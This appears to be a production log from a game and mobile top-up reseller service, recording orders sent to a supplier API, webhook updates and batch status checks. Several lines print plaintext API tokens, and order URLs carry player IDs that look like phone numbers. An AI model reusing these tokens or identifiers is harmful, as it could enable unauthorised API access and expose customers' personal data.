[2026-03-24 18:19:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=ab4f31b2-f5b6-4b97-81e0-5c25061f7400&Player_ID=5251036772  
[2026-03-24 18:19:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=ab4f31b2-f5b6-4b97-81e0-5c25061f7400&Player_ID=5251036772","has_body":false} 
[2026-03-24 18:19:08] production.INFO: Operation sent successfully {"operation_id":163988,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-2NmIcB3-1774365548","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:19:08"}},"processed_data":{"order_number":"ORD-2NmIcB3-1774365548","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:19:19] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-2NmIcB3-1774365548","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:19:19] production.INFO: Processed webhook data (normalized) {"id":"ORD-2NmIcB3-1774365548","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:19:19] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:19:19] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":179084} 
[2026-03-24 18:19:19] production.INFO: Order updated successfully. Order ID: 179084, Status: completed  
[2026-03-24 18:19:19] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-2NmIcB3-1774365548","status":"completed","codes_count":0} 
[2026-03-24 18:19:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 18:19:20] production.INFO: Constructing job for order: 179085  
[2026-03-24 18:19:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 290  
[2026-03-24 18:19:23] production.INFO: Handling job for order: 179085  
[2026-03-24 18:19:23] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:19:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:19:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=60aa2c91-3755-4e12-89e9-8daaf9bb91b2&Player_ID=5339068122  
[2026-03-24 18:19:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=60aa2c91-3755-4e12-89e9-8daaf9bb91b2&Player_ID=5339068122","has_body":false} 
[2026-03-24 18:19:24] production.INFO: Operation sent successfully {"operation_id":163989,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MKkfJ9y5-1774365563","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:19:24"}},"processed_data":{"order_number":"ORD-MKkfJ9y5-1774365563","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:19:34] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MKkfJ9y5-1774365563","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:19:34] production.INFO: Processed webhook data (normalized) {"id":"ORD-MKkfJ9y5-1774365563","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:19:34] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:19:34] production.INFO: SendAcceptReject: Notification queued {"user_id":1471,"notification_type":"order_approved","reference_id":179085} 
[2026-03-24 18:19:34] production.INFO: Order updated successfully. Order ID: 179085, Status: completed  
[2026-03-24 18:19:34] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MKkfJ9y5-1774365563","status":"completed","codes_count":0} 
[2026-03-24 18:19:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1471  
[2026-03-24 18:19:57] production.INFO: Constructing job for order: 179086  
[2026-03-24 18:20:00] production.INFO: Handling job for order: 179086  
[2026-03-24 18:20:00] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:20:00] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:20:00] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=494cb6af-3ba6-4c7a-a3de-88fd9b7b5dd0&Player_ID=52166578364  
[2026-03-24 18:20:00] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=494cb6af-3ba6-4c7a-a3de-88fd9b7b5dd0&Player_ID=52166578364","has_body":false} 
[2026-03-24 18:20:01] production.INFO: Operation sent successfully {"operation_id":163990,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Hcs-1774365600","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:20:01"}},"processed_data":{"order_number":"ORD-Hcs-1774365600","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 18:20:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04"} 
[2026-03-24 18:20:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","total_operations":5,"sites_count":2} 
[2026-03-24 18:20:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-tmRYG-1774365381","ORD-kjrsvHc-1774365400","ORD-aRE-1774365547","ORD-Hcs-1774365600"]} 
[2026-03-24 18:20:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:20:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 18:20:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aRE-1774365547","operation_id":163987} 
[2026-03-24 18:20:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Hcs-1774365600","operation_id":163990} 
[2026-03-24 18:20:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kjrsvHc-1774365400","operation_id":163981} 
[2026-03-24 18:20:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:20:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 18:20:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 18:20:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1,"order_ids":["ORD-snAC-1774365522"]} 
[2026-03-24 18:20:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:20:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1} 
[2026-03-24 18:20:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-snAC-1774365522","operation_id":163986,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 18:20:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-snAC-1774365522","operation_id":163986,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 18:20:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-snAC-1774365522","operation_id":163986,"count":1} 
[2026-03-24 18:20:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-snAC-1774365522","operation_id":163986,"count":1} 
[2026-03-24 18:20:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-snAC-1774365522","operation_id":163986,"user_id":442,"notification_type":"order_approved","reference_id":179082} 
[2026-03-24 18:20:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-snAC-1774365522","operation_id":163986,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:20:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-snAC-1774365522","operation_id":163986,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:20:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-snAC-1774365522","operation_id":163986,"processed":1,"errors":0} 
[2026-03-24 18:20:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-snAC-1774365522","operation_id":163986,"processed":1,"errors":0} 
[2026-03-24 18:20:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"zt1S62yTO58ADej9xt8YmGh0HydZLgoG","execution_time":"2026-03-24 18:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-snAC-1774365522","operation_id":163986} 
[2026-03-24 18:20:04] production.INFO: Executing GetProducts task...  
[2026-03-24 18:20:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 18:20:04] production.INFO: Executing GetProducts task...  
[2026-03-24 18:20:06] production.INFO: async() رجع: true  
[2026-03-24 18:20:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 18:20:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 18:20:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 18:20:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 18:20:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 18:20:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 18:20:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 18:20:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 18:20:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 18:20:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 18:20:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 18:20:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 442  
[2026-03-24 18:20:11] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Hcs-1774365600","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:20:11] production.INFO: Processed webhook data (normalized) {"id":"ORD-Hcs-1774365600","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:20:11] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:20:11] production.INFO: SendAcceptReject: Notification queued {"user_id":418,"notification_type":"order_approved","reference_id":179086} 
[2026-03-24 18:20:11] production.INFO: Order updated successfully. Order ID: 179086, Status: completed  
[2026-03-24 18:20:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Hcs-1774365600","status":"completed","codes_count":0} 
[2026-03-24 18:20:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 418  
[2026-03-24 18:20:20] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-kjrsvHc-1774365400","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:20:20] production.INFO: Processed webhook data (normalized) {"id":"ORD-kjrsvHc-1774365400","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:20:20] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:20:20] production.INFO: SendAcceptReject: Notification queued {"user_id":659,"notification_type":"order_approved","reference_id":179077} 
[2026-03-24 18:20:20] production.INFO: Order updated successfully. Order ID: 179077, Status: completed  
[2026-03-24 18:20:20] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-kjrsvHc-1774365400","status":"completed","codes_count":0} 
[2026-03-24 18:20:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 659  
[2026-03-24 18:20:38] production.INFO: Constructing job for order: 179088  
[2026-03-24 18:20:40] production.INFO: Handling job for order: 179088  
[2026-03-24 18:20:40] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:20:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:20:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=500&uuid=029b3f9a-4ec7-4cc0-bd18-555d383aba9c&Player_ID=VEGETA..  
[2026-03-24 18:20:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=500&uuid=029b3f9a-4ec7-4cc0-bd18-555d383aba9c&Player_ID=VEGETA..","has_body":false} 
[2026-03-24 18:20:41] production.INFO: Operation sent successfully {"operation_id":163991,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vXqVxgF-1774365641","amount":8.7391303999999987439650794840417802333831787109375,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 18:20:41"}},"processed_data":{"order_number":"ORD-vXqVxgF-1774365641","amount":8.7391303999999987439650794840417802333831787109375,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 18:20:46] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-vXqVxgF-1774365641","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:20:46] production.INFO: Processed webhook data (normalized) {"id":"ORD-vXqVxgF-1774365641","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:20:46] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:20:46] production.INFO: SendAcceptReject: Notification queued {"user_id":568,"notification_type":"order_approved","reference_id":179088} 
[2026-03-24 18:20:46] production.INFO: Order updated successfully. Order ID: 179088, Status: completed  
[2026-03-24 18:20:46] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-vXqVxgF-1774365641","status":"completed","codes_count":0} 
[2026-03-24 18:20:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 568  
[2026-03-24 18:21:27] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"118.0","mainamount":"118","operation_number":"158548976","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpng9e865vr5oq979qIXB"}},"user_id":1773} 
[2026-03-24 18:21:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 18:21:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 18:21:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 18:21:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 18:21:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 18:21:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 18:21:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 18:21:29] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 18:21:29] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18664,"user_id":1773,"amount":118.0,"admins_notified":7} 
[2026-03-24 18:21:51] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 18:21:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 290  
[2026-03-24 18:21:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1427  
[2026-03-24 18:22:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"dW0C8UZ2LLjcSOGkpYg0EFX6S5ZhAjK3","execution_time":"2026-03-24 18:22:02"} 
[2026-03-24 18:22:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"dW0C8UZ2LLjcSOGkpYg0EFX6S5ZhAjK3","execution_time":"2026-03-24 18:22:02","total_operations":2,"sites_count":1} 
[2026-03-24 18:22:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"dW0C8UZ2LLjcSOGkpYg0EFX6S5ZhAjK3","execution_time":"2026-03-24 18:22:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-tmRYG-1774365381","ORD-aRE-1774365547"]} 
[2026-03-24 18:22:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"dW0C8UZ2LLjcSOGkpYg0EFX6S5ZhAjK3","execution_time":"2026-03-24 18:22:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:22:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"dW0C8UZ2LLjcSOGkpYg0EFX6S5ZhAjK3","execution_time":"2026-03-24 18:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 18:22:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dW0C8UZ2LLjcSOGkpYg0EFX6S5ZhAjK3","execution_time":"2026-03-24 18:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aRE-1774365547","operation_id":163987} 
[2026-03-24 18:22:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dW0C8UZ2LLjcSOGkpYg0EFX6S5ZhAjK3","execution_time":"2026-03-24 18:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:22:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"dW0C8UZ2LLjcSOGkpYg0EFX6S5ZhAjK3","execution_time":"2026-03-24 18:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 18:22:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"dW0C8UZ2LLjcSOGkpYg0EFX6S5ZhAjK3","execution_time":"2026-03-24 18:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 18:22:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"dW0C8UZ2LLjcSOGkpYg0EFX6S5ZhAjK3","execution_time":"2026-03-24 18:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:22:04] production.INFO: Constructing job for order: 179089  
[2026-03-24 18:22:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-aRE-1774365547","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:22:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-aRE-1774365547","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:22:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:22:05] production.INFO: SendAcceptReject: Notification queued {"user_id":312,"notification_type":"order_approved","reference_id":179083} 
[2026-03-24 18:22:05] production.INFO: Order updated successfully. Order ID: 179083, Status: completed  
[2026-03-24 18:22:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-aRE-1774365547","status":"completed","codes_count":0} 
[2026-03-24 18:22:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 312  
[2026-03-24 18:22:06] production.INFO: Handling job for order: 179089  
[2026-03-24 18:22:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:22:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:22:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=71826060-58cb-4c97-8922-1e9d44271132&Player_ID=557470092  
[2026-03-24 18:22:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=71826060-58cb-4c97-8922-1e9d44271132&Player_ID=557470092","has_body":false} 
[2026-03-24 18:22:06] production.INFO: Operation sent successfully {"operation_id":163992,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-E7WVfiF3-1774365726","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:22:06"}},"processed_data":{"order_number":"ORD-E7WVfiF3-1774365726","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG"}} 
[2026-03-24 18:22:34] production.INFO: Constructing job for order: 179090  
[2026-03-24 18:22:36] production.INFO: Handling job for order: 179090  
[2026-03-24 18:22:36] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:22:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:22:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/571/params?qty=29000&uuid=e21dde47-134e-4978-ba1e-61a9f8854a50&Player_ID=27237727  
[2026-03-24 18:22:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/571/params?qty=29000&uuid=e21dde47-134e-4978-ba1e-61a9f8854a50&Player_ID=27237727","has_body":false} 
[2026-03-24 18:22:37] production.INFO: Operation sent successfully {"operation_id":163993,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Xif8SL9-1774365757","amount":6.9507983000000006512664185720495879650115966796875,"status":"processing","product":"Mango Amount","game":"Mango","notes":[],"created_at":"2026-03-24 18:22:37"}},"processed_data":{"order_number":"ORD-Xif8SL9-1774365757","amount":6.9507983000000006512664185720495879650115966796875,"status":"processing","product":"Mango Amount","game":"Mango"}} 
[2026-03-24 18:23:16] production.INFO: Constructing job for order: 179091  
[2026-03-24 18:23:16] production.INFO: Constructing job for order: 179092  
[2026-03-24 18:23:19] production.INFO: Handling job for order: 179091  
[2026-03-24 18:23:19] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:23:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:23:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=ed0cc73a-9496-45ea-b47e-114b4a61e885&Player_ID=0935374515  
[2026-03-24 18:23:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=ed0cc73a-9496-45ea-b47e-114b4a61e885&Player_ID=0935374515","has_body":false} 
[2026-03-24 18:23:20] production.INFO: Operation sent successfully {"operation_id":163994,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-kwmNB-1774365800","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 18:23:20"}},"processed_data":{"order_number":"ORD-kwmNB-1774365800","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 18:23:20] production.INFO: Handling job for order: 179092  
[2026-03-24 18:23:20] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:23:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:23:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=9d889f82-6bc2-49eb-b5f5-a745457b5c47&Player_ID=0951447694  
[2026-03-24 18:23:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=9d889f82-6bc2-49eb-b5f5-a745457b5c47&Player_ID=0951447694","has_body":false} 
[2026-03-24 18:23:21] production.INFO: Operation sent successfully {"operation_id":163995,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cjtcY-1774365801","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 18:23:21"}},"processed_data":{"order_number":"ORD-cjtcY-1774365801","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 18:23:33] production.INFO: Constructing job for order: 179093  
[2026-03-24 18:23:36] production.INFO: Handling job for order: 179093  
[2026-03-24 18:23:36] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:23:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:23:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/41/params?qty=1&uuid=4b89c2f3-f2dc-4e99-be1a-244557884998&Player_ID=0981054316  
